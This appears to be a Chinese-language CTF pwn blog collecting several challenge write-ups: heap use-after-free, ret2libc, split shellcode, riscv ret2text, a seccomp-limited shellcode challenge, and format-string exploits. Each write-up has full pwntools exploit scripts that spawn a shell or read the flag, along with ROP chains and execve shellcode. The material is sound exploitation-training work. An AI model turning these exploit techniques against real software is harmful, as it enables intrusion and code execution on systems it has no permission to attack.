  v5 = (char **)std::vector<void *>::operator[](chunklist, v4);
  my_fgets(*v5, v3, 0);
}

ssize_t __cdecl my_fgets(char *buf, int size, int fd)
{
  size_t v4; // rdx
  char ch_0; // [rsp+17h] [rbp-19h] BYREF
  size_t total_read; // [rsp+18h] [rbp-18h]
  ssize_t bytes_read; // [rsp+20h] [rbp-10h]
  unsigned __int64 v9; // [rsp+28h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  if ( size <= 0 || !buf )
    return -1LL;
  total_read = 0LL;
  while ( total_read < size - 1 )
  {
    bytes_read = read(fd, &ch_0, 1uLL);
    if ( ch_0 == 10 )
      break;
    v4 = total_read++;
    buf[v4] = ch_0;
  }
  return total_read;
}

void __cdecl delete_func(std::vector<void*> *chunklist, std::vector<int> *sizelist)
{
  std::vector<void*>::size_type M_current_low; // rbx
  void **v4; // rax
  int i; // [rsp+1Ch] [rbp-34h]
  __gnu_cxx::__normal_iterator<int*,std::vector<int> > v6; // [rsp+20h] [rbp-30h] BYREF
  __gnu_cxx::__normal_iterator<int*,std::vector<int> > __i; // [rsp+28h] [rbp-28h] BYREF
  __gnu_cxx::__normal_iterator<void* const*,std::vector<void*> > idx[3]; // [rsp+30h] [rbp-20h] BYREF

  idx[1]._M_current = (void *const *)__readfsqword(0x28u);
  for ( i = 0; i < std::vector<int>::size(sizelist); ++i )
  {
    if ( *std::vector<int>::operator[](sizelist, i) == -1 )
    {
      v6._M_current = std::vector<int>::begin(sizelist)._M_current;
      __i._M_current = __gnu_cxx::__normal_iterator<int *,std::vector<int>>::operator+(&v6, i)._M_current;
      __gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(
        (__gnu_cxx::__normal_iterator<int const*,std::vector<int> > *const)idx,
        &__i);
      std::vector<int>::erase(sizelist, (std::vector<int>::const_iterator)idx[0]._M_current);
      v6._M_current = (int *)std::vector<void *>::begin(chunklist)._M_current;
      __i._M_current = (int *)__gnu_cxx::__normal_iterator<void **,std::vector<void *>>::operator+(
                                (const __gnu_cxx::__normal_iterator<void**,std::vector<void*> > *const)&v6,
                                i)._M_current;
      __gnu_cxx::__normal_iterator<void * const*,std::vector<void *>>::__normal_iterator<void **>(
        idx,
        (const __gnu_cxx::__normal_iterator<void**,std::vector<void*> > *)&__i);
      std::vector<void *>::erase(chunklist, idx[0]);
    }
  }
  puts("idx: ");
  __isoc99_scanf("%d", idx);
  if ( SLODWORD(idx[0]._M_current) >= 0
    && (M_current_low = SLODWORD(idx[0]._M_current), M_current_low < std::vector<void *>::size(chunklist)) )
  {
    v4 = std::vector<void *>::operator[](chunklist, SLODWORD(idx[0]._M_current));
    free(*v4);
    *std::vector<int>::operator[](sizelist, SLODWORD(idx[0]._M_current)) = -1;
    puts("success");
  }
  else
  {
    puts("error");
  }
}

漏洞出在 delete_func这边 在delete前会根据sizelist容器中成员的值,判断哪些是free状态的成员然后再erase这些成员,但是在erase的时候是根据begin() + i 去erase的,erase完后容器的大小发生了变化,下一个begin() + i 就不是原先的 begin() + i了,所以在delete的时候并不能earse连续的free状态的成员,所以存在一个uaf。 然后create的时候size也没有做下界的判断,所以可以通过create_func去创建连续负值的size去构造uaf。

gift 通过sbrk 给了堆地址,就不用泄露堆地址,然后这个edit其实可以当show来用,实现出任意地址申请后,可以申请到堆上vector成员的位置,再配合edit,就可以实现多次任意地址写,泄露出environ后,用任意地址写去写子函数的返回地址打rop去getshell

或者是打fsop house of apple2的利用链,只需要泄露libc还有实现一次任意地址写,之后伪造iofile,宽字符的虚表后就可以getshell

劫持vector 把任意地址申请增强 转换成可以用很简单的方式实现任意地址读写的做法

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node7.anna.nssctf.cn"
PORT = 23086

elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )

p = connect()

def create(size,content):
    sla(">>>","1")
    sla("size:",str(size))
    sla("content",content)

def delete(idx):
    sla(">>>","2")
    sla("idx:",str(idx))

def edit(idx,content = null):
    sla(">>>","3")
    sla("idx:",str(idx))
    if content == null:
        return
    sa("content: ",content)

ru("gift: ")
heap_base = int(rl()[:-1],16) - 0x21000
success(f"heap_base ->{hex(heap_base)}")

create(0x58,"padding") 
create(0x58,"padding")

for i in range(7):
    create(0x48,"tcache")
for i in range(2**9+2**8):
    create(-1, b"")


create(0x48,"fastbin")
create(0x48,"fastbin")

for i in range(7):
    delete(2) # refill tcache

delete(5)
delete(4)
delete(2)


for i in range(7):
    create(0x48,"tcahce") # clean up tcache


pos = heap_base + 0x120f0
vector_addr = heap_base + 0x14260 # &vector[0]
payload = (pos >> 12) ^ vector_addr 

create(0x48,p64(payload))
create(0x48,"AAAAAAAA")
create(0x48,p64(payload))
create(0x48,p64(0x114514)) # 12


create(0x7b8,"unsortedbin")
create(0x58,"padding")
delete(13)

unsortedbin_fd = heap_base + 0x12a90
edit(12,p64(unsortedbin_fd))
edit(0,b"\xe0")
ru("success: ")
libc_base = u64(r(6).ljust(8,b'\x00')) - 0x21ace0
success(hex(libc_base))

environ = libc_base + libc.sym['__environ']
edit(12,p64(environ - 0x8))
edit(0,"A" * 8) # leak stack 
ru("success: ")
ru("A" * 0x8)
stack = u64(r(6).ljust(8,b'\x00'))
success(hex(stack))

return_addr = stack - (0x7ffd2bf75cd8 - 0x7ffd2bf75b08) # read func
edit(12,p64(return_addr))

ret = libc_base + 0x00000000000baaf9
pop_rdi_ret = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']


payload = p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
# g(p)
edit(0,payload)


p.interactive()
Read More
post @ 2024-08-31

题目附件https://github.com/nyyyddddn/ctf/tree/main/xyctf_pwn

前段时间好忙,最近这几天才抽出时间整理下东西,xyctf是今年四月份开的,当时是第一次出题,想给入门pwn一段时间的师傅分享些简单又可以开阔一下思路的pwn题

hello_world(签到)

在glibc 2.31以后 csu fini csu init都变成了动态链接,大多数好用的修改寄存器的gadget(如pop rdi ret,pop rsi ret)都是从csu init中错位字节获取的,在能泄露libc的情况下,可以转换一下思路,从libc中拿gadget

程序逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[20]; // [rsp+0h] [rbp-20h] BYREF

  init();
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  return 0;
}

程序有两次输入的机会,第一次输入通过%s去泄露一个libc相关的地址,然后计算出libc_base,然后用libc中的gadget打rop就行了

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "xyctf.top"
PORT = 36241

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = b'a' * 0x28

time.sleep(0.3)
# g(p)
s(payload)

ru(b'a' * 0x28)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x7f662d429d90 - 0x7f662d400000)
success(f"libc_base ->{hex(libc_base)}")
pop_rdi_ret = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
ret = libc_base + 0x0000000000029139

payload = b'b' * 0x28 
payload += p64(pop_rdi_ret) + p64(binsh) +  p64(ret)+ p64(system)

time.sleep(0.3)
# g(p)
s(payload)

p.interactive()

Intermittent

程序的逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 i; // [rsp+0h] [rbp-120h]
  void (*v5)(void); // [rsp+8h] [rbp-118h]
  _DWORD buf[66]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v7; // [rsp+118h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v5 = (void (*)(void))mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( v5 == (void (*)(void))-1LL )
  {
    puts("ERROR");
    return 1;
  }
  else
  {
    write(1, "show your magic: ", 0x11uLL);
    read(0, buf, 0x100uLL);
    for ( i = 0LL; i <= 2; ++i )
      *((_DWORD *)v5 + 4 * i) = buf[i];
    v5();
    return 0;
  }
}

有三次输入的机会,输入完后会执行输入的shellcode,但是三次输入的地址都不连续,中间有大量的00字段阻碍shellcode的执行,同时长度也不够getshell,所以需要找到连接三段shellcode的方法 以及syscall read一次

这时候有两种思路,第一种是利用相对偏移跳转/相对偏移call去连接三段shellcode,第二种是,阻碍shellcode的原因是因为解引用错误导致程序崩溃,\x00\x00 对应 add byte ptr [rax], al,只需要将rax修改成一个正确的地址,就可以绕过中间这段00数据

第一种思路的exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "192.168.37.193"
PORT = 63188

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def generate_jmp(offset):
    return b'\xE8' + p8(offset)
# call offset

payload = asm('''
xor eax,eax
''') + generate_jmp(9)

payload += asm('''
push rdx
pop rsi
''') + generate_jmp(9)

payload += asm('''
syscall
''')

print(len(payload))

time.sleep(0.3)
# g(p)
# ru("show your magic: ")
s(payload)

shellcode = asm('nop') * 0x80
shellcode += asm('''
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
xor esi, esi
xor edx, edx
syscall
''')
time.sleep(0.3)
# g(p)
s(shellcode)


p.interactive()

第二种思路的exp

from pwn import *
context.log_level = 'debug'

p = process('./vuln')
# p = remote("121.62.23.53",32894)
# 利用 \x00\x00 对应 add byte ptr [rax], al
# 所以把rax设置为0x114514000这个地址后就可以正常运行\x00\x00
'''
push rdx
pop rax
push rbx
pop rdi

push rdx
pop rsi
push rdx
pop rsi     # 对齐4字节

push rbx
pop rax
syscall
'''
payload = [b'RXS_', b'R^R^', b'SX\x0f\x05']
p.sendline(b''.join(payload))

"""
mov rax, 0x68732f6e69622f
push rax
push rsp
pop rdi
push 0
pop rsi
push 0
pop rdx
push 0x3b
pop rax
syscall
"""
payload = (b'\0' * 12).join(payload) + b'H\xb8/bin/sh\x00PT_j\x00^j\x00Zj;X\x0f\x05'
pause()
p.sendline(payload)
p.interactive()

invisible_flag

程序的逻辑

Read More

题目附件https://github.com/nyyyddddn/ctf/tree/main/%E7%BE%8A%E5%9F%8E%E6%9D%AF2023

risky_login

一道riscv64 小端序 栈溢出 ret2text的题目,最新的ida 9.0可以反编译riscv架构的程序,就不需要用难用的ghidra去分析了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[288]; // [sp+0h] [-120h] BYREF

  init_io();
  puts("RiskY LoG1N SySTem");
  puts("Input ur name:");
  read(0, command, 8uLL);
  printf("Hello, %s", command);
  puts("Input ur words");
  read(0, v4, 0x120uLL);
  my_input(v4);
  puts("message received");
  return 0;
}

char *__fastcall my_input(const char *a1)
{
  char v3[248]; // [sp+18h] [-108h] BYREF

  byte_12347070 = strlen(a1);
  if ( (unsigned __int8)byte_12347070 > 8uLL )
  {
    puts("too long.");
    exit(-1);
  }
  return strcpy(v3, a1);
}

__int64 backdoor()
{
  puts("background debug fun.");
  puts("input what you want exec");
  read(0, command, 8uLL);
  if ( strstr(command, "sh") || strstr(command, "flag") )
  {
    puts("no.");
    exit(-1);
  }
  return system(command);
}

https://ta0lve.github.io/posts/pwn/risc-v/0x01/#%E5%AF%84%E5%AD%98%E5%99%A8%E5%AD%A6%E4%B9%A0

在my input这里存在一个栈溢出,因为strlen只检查低一个字节的数据,那该溢出多少?通过阅读文档可以发现这个ret相当于jmp ra的作用,然后sd ra, 110h+var_s8(sp) 这个是存储返回地址,所以返回地址在栈底 - 0x8的位置,然后strcpy地址距离栈底 0x108,偏移0x100就刚刚好到返回地址那了

.text:0000000012345786 my_input:                               # CODE XREF: main+7A↓p
.text:0000000012345786
.text:0000000012345786 var_108         = -108h
.text:0000000012345786 var_F8          = -0F8h
.text:0000000012345786 var_s0          =  0
.text:0000000012345786 var_s8          =  8
.text:0000000012345786 arg_0           =  10h
.text:0000000012345786
.text:0000000012345786                 addi            sp, sp, -120h
.text:0000000012345788                 sd              ra, 110h+var_s8(sp)
.text:000000001234578A                 sd              s0, 110h+var_s0(sp)
.text:000000001234578C                 addi            s0, sp, 110h+arg_0
.text:000000001234578E                 sd              a0, -10h+var_108(s0)
.text:0000000012345792                 ld              a0, -10h+var_108(s0)
.text:0000000012345796                 call            strlen
.text:000000001234579E                 mv              a5, a0
.text:00000000123457A0                 andi            a4, a5, 0FFh
.text:00000000123457A4                 sb              a4, byte_12347070
.text:00000000123457A8                 lbu             a5, byte_12347070
.text:00000000123457AC                 mv              a4, a5
.text:00000000123457AE                 li              a5, 8
.text:00000000123457B0                 bgeu            a5, a4, loc_123457CE
.text:00000000123457B4                 lui             a5, %hi(aTooLong) # "too long."
.text:00000000123457B8                 addi            a0, a5, %lo(aTooLong) # "too long."
.text:00000000123457BC                 call            puts
.text:00000000123457C4                 li              a0, -1
.text:00000000123457C6                 call            exit
.text:00000000123457CE # ---------------------------------------------------------------------------
.text:00000000123457CE
.text:00000000123457CE loc_123457CE:                           # CODE XREF: my_input+2A↑j
.text:00000000123457CE                 addi            a5, s0, -10h+var_F8
.text:00000000123457D2                 ld              a1, -10h+var_108(s0)
.text:00000000123457D6                 mv              a0, a5
.text:00000000123457D8                 call            strcpy
.text:00000000123457E0                 nop
.text:00000000123457E2                 ld              ra, 110h+var_s8(sp)
.text:00000000123457E4                 ld              s0, 110h+var_s0(sp)
.text:00000000123457E6                 addi            sp, sp, 120h
.text:00000000123457E8                 ret

覆盖返回地址为backdoor,然后cat fl* 就能把flag读出来了

那riscv的程序如何调试呢?? qemu 有一个 -g的参数可以通过gdb-multiarch remote连上去打断点调试,在process开程序的时候加这个-g的参数就可以通过gdb连上去调试了

debug.sh

gdb-multiarch -ex "set architecture riscv" \
              -ex "set exception-debugger on" \
              -ex "file ./pwn" \
              -ex "target remote localhost:1234" \
              -ex "b *0x12345796" \
              -ex "c"

exp

from pwn import *

context(os='linux', arch='riscv', log_level='debug',endian = 'little')
context.log_level = 'debug'

# p = process(["qemu-riscv64", "-L", "./", "-g", "1234", "./pwn"])
p = process(["qemu-riscv64", "-L", "./", "./pwn"])

backdoor = 0x123456ee

p.recvuntil('Input ur name:')
p.send("A")

p.recvuntil("Input ur words")
p.sendline(b"a" * 0x100 + p64(backdoor))

p.interactive()

shellcode

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  puts("[0] The Joy Of Contsructing shellcode ~");
  puts("[1] Are You Superstar In Ctfers?");
  puts("[2] Input: (ye / no)");
  read(0, buf, 2uLL);
  if ( !strcmp(buf, "ye") )
    puts("xxxx{xxxx_xxxx_xxxx_xxxx}");
  else
    vuln(buf);
  puts("[3] Bye~");
  return 0LL;
}

unsigned __int64 __fastcall sub_13A2(const char *a1)
{
  int v2; // [rsp+14h] [rbp-3Ch]
  char *buf; // [rsp+18h] [rbp-38h]
  char *v4; // [rsp+20h] [rbp-30h]
  void (*s[3])(void); // [rsp+30h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+48h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  printf("[3] Your Answer: %s\n", a1);
  puts("[4] Welcome To P0P's World!!!");
  memset(s, 0, 0x10uLL);
  puts("[5] ======== Input Your P0P Code ========");
  for ( buf = (char *)s; buf; ++buf )
  {
    read(0, buf, 1uLL);
    if ( (buf - (char *)s) >> 4 > 0 )
      break;
  }
  v4 = (char *)s;
  v2 = 0;
  puts("[6] Next");
  if ( s )
  {
    while ( *v4 >= 79 && *v4 <= 95 )
    {
      ++v2;
      ++v4;
    }
    if ( !((v4 - (char *)s) >> 4) )
    {
      puts("[*] It's Not GW's Expect !");
      exit(-1);
    }
  }
  puts("[7] Just Do It!");
  sub_1289();
  s[0]();
  return v6 - __readfsqword(0x28u);
}

__int64 sub_1289()
{
  __int64 v1; // [rsp+8h] [rbp-48h]

  v1 = seccomp_init(0LL);
  seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 0LL, 1LL);
  seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL);
  seccomp_rule_add(v1, 2147418112LL, 33LL, 0LL);
  return seccomp_load(v1);
}

checksec 栈有rwx的权限

lhj@lhj-virtual-machine:~/Desktop/ycb2023/shellcode$ checksec shellcode
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/lhj/Desktop/ycb2023/shellcode/shellcode'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      PIE enabled
    Stack:    Executable

程序的逻辑是输入17个字节的数据(read 输入数据的逻辑有问题导致可以多输入一个字节) 然后判断输入的长度是否大于等于16个字节,判断每个字节是否是[79,95]这个范围的字节码,如果是就会执行这些shellcode

因为seccomp要满足一定的输入约束才会执行load bpf,所以直接seccomp dump是dump不出来沙箱规则的,得用python模拟符合输入约束的数据才能把沙箱规则dump出来,可以发现要用orw把flag读出来,然后rw对fd还有些约束,r的fd必须小于等于2,w的fd必须大于2,dup2(old_fd,new_fd)系统调用可以将一个fd重定向到一个新的fd,所以orw得用dup2重定向一下

lhj@lhj-virtual-machine:~/Desktop/ycb2023/shellcode$ python test.py | seccomp-tools dump ./shellcode
[0] The Joy Of Contsructing shellcode ~
[1] Are You Superstar In Ctfers?
[2] Input: (ye / no)
[3] Your Answer: b'
[4] Welcome To P0P's World!!!
[5] ======== Input Your P0P Code ========
[6] Next
[7] Just Do It!
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x12 0xc000003e  if (A != ARCH_X86_64) goto 0020
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0f 0xffffffff  if (A != 0xffffffff) goto 0020
 0005: 0x15 0x0d 0x00 0x00000002  if (A == open) goto 0019
 0006: 0x15 0x0c 0x00 0x00000021  if (A == dup2) goto 0019
 0007: 0x15 0x00 0x05 0x00000000  if (A != read) goto 0013
 0008: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count)
 0009: 0x25 0x0a 0x00 0x00000000  if (A > 0x0) goto 0020
 0010: 0x15 0x00 0x08 0x00000000  if (A != 0x0) goto 0019
 0011: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0012: 0x25 0x07 0x06 0x00000002  if (A > 0x2) goto 0020 else goto 0019
 0013: 0x15 0x00 0x06 0x00000001  if (A != write) goto 0020
 0014: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # write(fd, buf, count)
 0015: 0x25 0x03 0x00 0x00000000  if (A > 0x0) goto 0019
 0016: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0020
 0017: 0x20 0x00 0x00 0x00000010  A = fd # write(fd, buf, count)
 0018: 0x25 0x00 0x01 0x00000002  if (A <= 0x2) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x06 0x00 0x00 0x00000000  return KILL
Read More

题目附件https://github.com/nyyyddddn/ctf/tree/main/%E5%A5%87%E5%A5%87%E6%80%AA%E6%80%AA%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%88%A9%E7%94%A81

非栈上格式化字符串套orw

hznuctf_ezpwn

int __cdecl main(int argc, const char **argv, const char **envp)
{
  sand_box(argc, argv, envp);
  rand_time();
  vuln();
  return 0;
}

void rand_time()
{
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned int seed; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  seed = time(0LL);
  printf("welcome to HZNUCTF !");
  printf("Please input your name: ");
  read(0, buf, 0x10uLL);
  printf("Hello, %s\n", buf);
  puts("I wonder if you're lucky enough");
  srand(seed);
  for ( i = 0; i <= 9; ++i )
  {
    printf("Let's guess the number: ");
    __isoc99_scanf("%d", &seed);
    if ( rand() != seed )
    {
      puts("Wrong.");
      puts("Guess you weren't lucky enough.");
      exit(-1);
    }
    puts("Right.");
  }
}

__int64 vuln()
{
  puts("WOW you really a lucky guy!");
  puts("Then I want to know if you are capable enough.");
  while ( 1 )
  {
    printf("Please tell us something: ");
    read(0, s1, 0x80uLL);
    if ( !strcmp(s1, "HZNUCTF") )
      break;
    printf(s1);
  }
  return 0LL;
}

非栈上格式化字符串相对栈上格式化字符串 最麻烦的地方是任意地址写需要通过一个指针去调整另一个指针,一个字节或者是两个字节的写数据,需要两个步骤,有orw的情况下(不考虑这个沙箱能escape的情况)如果能正常退出循环,可以配合栈迁移的方式,把栈迁移到输入地址那进行rop,然后还可以通过二次迁移迁移到已知的地址来做更复杂的操作

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "150.158.117.224"
PORT = 20042

elf = context.binary = ELF('./ez_pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

cdll=ctypes.CDLL("./libc-2.31.so")


p = connect()

payload=b"a"*8+p32(0)+p32(0x20)
sa("Please input your name: ",payload)
cdll.srand(0)
for i in range(10):
	payload=cdll.rand()
	sla("Let's guess the number: ",str(payload))

payload=b"%6$p%7$p%9$p"+b"HZNUCTF\x00"
sa("Please tell us something: ",payload)

stack=int(p.recv(14).decode("utf-8"),16)
log.success(f"rbp->{hex(stack)}")
leek_main=int(p.recv(14).decode("utf-8"),16)
main=leek_main-38
log.success(f"main->{hex(main)}")
pie=main-0x14df
log.success(f"pie->{hex(pie)}")
libc_base=int(p.recv(14).decode("utf-8"),16)-libc.sym["__libc_start_main"]-243
log.success(f"libc_base->{hex(libc_base)}")
bss=pie+0x4060
leave_ret=pie+0x1369

payload=f"%{(stack&0xffff)-0x8}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(bss&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x30}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

payload=f"%{(stack&0xffff)-0x10}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

open=libc_base+libc.sym["open"]
read=libc_base+libc.sym["read"]
write=libc_base+libc.sym["write"]
pop_rdi=pie+0x1573
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x15fae6
flag=bss+0xe0
buf=bss+0x100

payload=b"HZNUCTF\x00"
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss+0x48) + p64(pop_rdx) + p64(0x110) + p64(0)
payload += p64(read)
sa("Please tell us something: ",payload)

payload = p64(pop_rdi) + p64(flag) + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(read) 
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(write)+b"./flag\x00"
s(payload)

p.interactive()

3个字节格式化字符串泄露libc

corctf_format-string

source.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void do_printf()
{
    char buf[4];

    if (scanf("%3s", buf) <= 0)
        exit(1);

    printf("Here: ");
    printf(buf);
}

void do_call()
{
    void (*ptr)(const char *);

    if (scanf("%p", &ptr) <= 0)
        exit(1);

    ptr("/bin/sh");
}

int main()
{
    int choice;

    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);

    while (1)
    {
        puts("1. printf");
        puts("2. call");

        if (scanf("%d", &choice) <= 0)
            break;

        switch (choice)
        {
            case 1:
                do_printf();
                break;
            case 2:
                do_call();
                break;
            default:
                puts("Invalid choice!");
                exit(1);
        }
    }

    return 0;
}

程序的输入只有三个字节,只需要泄露libc的地址就可以通过do_call去getshell,”%*d”表达式有两个参数一个是打印的宽度,另一个是打印的字符,printf(“% *d”, 5, 42); 这里rsi是宽度 rdx是打印的数字

在第一次do_printf的时候 printf(“Here: “); rsi残留了一个printf缓冲区的地址,这个地址被当成了宽度,在解析格式化字符串的时候printf的缓冲区被写满了字符,第二个do_printf的时候,通过 %s可以将printf缓冲区的内容泄露出来,缓冲区结尾有libc的地址,所以可以通过这种方式去泄露libc

pwndbg> 
0x00005d8dccc20236 in do_printf ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────
*RAX  0x0
 RBX  0x5d8dccc203b0 (__libc_csu_init) ◂— endbr64 
 RCX  0x0
 RDX  0x0
 RDI  0x5d8dccc21008 ◂— 0x2500203a65726548 /* 'Here: ' */
 RSI  0x4
 R8   0x64
 R9   0x0
 R10  0x5d8dccc21004 ◂— 0x6572654800733325 /* '%3s' */
 R11  0x246
 R12  0x5d8dccc20100 (_start) ◂— endbr64 
 R13  0x7ffe4c726f90 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7ffe4c726e80 —▸ 0x7ffe4c726ea0 ◂— 0x0
 RSP  0x7ffe4c726e70 ◂— 0x642a25ccc20100
